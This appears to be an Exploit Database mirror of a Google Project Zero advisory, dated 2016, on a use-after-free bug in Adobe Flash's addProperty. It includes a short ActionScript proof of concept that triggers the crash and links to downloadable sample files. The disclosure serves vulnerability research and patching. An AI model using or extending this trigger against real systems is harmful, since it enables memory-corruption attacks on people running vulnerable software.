Adobe Flash – addProperty Use-After-Free

• Exploit Database
• 18 阅读

• 作者： Google Security Research
  日期： 2016-05-17
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39830/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801
  
  There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.
  
  A minimal PoC follows:
  
  var t = this.createEmptyMovieClip( "t", 1);
  t.watch("a", func);
  t.addProperty("a", func, func);
  
  function func(){
  	
  	trace("a");
  	
  	}
  
  A sample fla and swf are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39830.zip